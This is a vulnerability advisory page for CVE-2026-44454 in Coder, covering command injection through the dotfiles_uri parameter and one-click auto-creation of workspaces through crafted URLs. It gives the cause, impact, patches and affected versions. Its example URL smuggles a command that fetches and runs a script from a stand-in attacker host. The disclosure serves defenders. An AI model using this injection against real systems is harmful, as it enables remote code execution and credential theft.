🛡️ CVE-2026-44454 — coder
Description
Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent
# Command injection via dotfiles URI parameter combined with workspace auto-creation
Summary
The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
Details
Command injection in the dotfiles module (root cause)
The [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.
Auto-creation amplification (mode=auto)
The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
```
https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com
```
Impact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
Patches
coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.
- https://github.com/coder/registry/pull/703
coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011))
- Patched releases:
- [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR)
- [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline)
Recognition
We'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Weakness class
CVE-2026-44454 is classified as CWE-78: OS Command Injection. Untrusted input reaches a shell command without neutralisation, so an attacker can run arbitrary operating system commands.
Affected software
CVE-2026-44454 is recorded against 3 packages.
- coder (from 2.30.0 up to 2.30.2)
- github.com/coder/coder
- github.com/coder/coder/v2
Timeline and source
Published on 7 July 2026 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
References
github.com
github.com
github.com
github.com
github.com
github.com
github.com
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| coder | 2.30.0 | 2.30.2 |
| github.com/coder/coder | — | — |
| github.com/coder/coder/v2 | — | — |
References
Similar Threats
- Unknown CGA-8r5h-83c2-4rxw
- Unknown CGA-c2qp-qchh-369w
- Unknown CGA-594m-3qrh-m7qf
- Unknown CGA-434v-wc8g-cmvq
- Unknown CGA-53j8-hw46-jfhx
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is coder part of your stack?
CVE-2026-44454 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.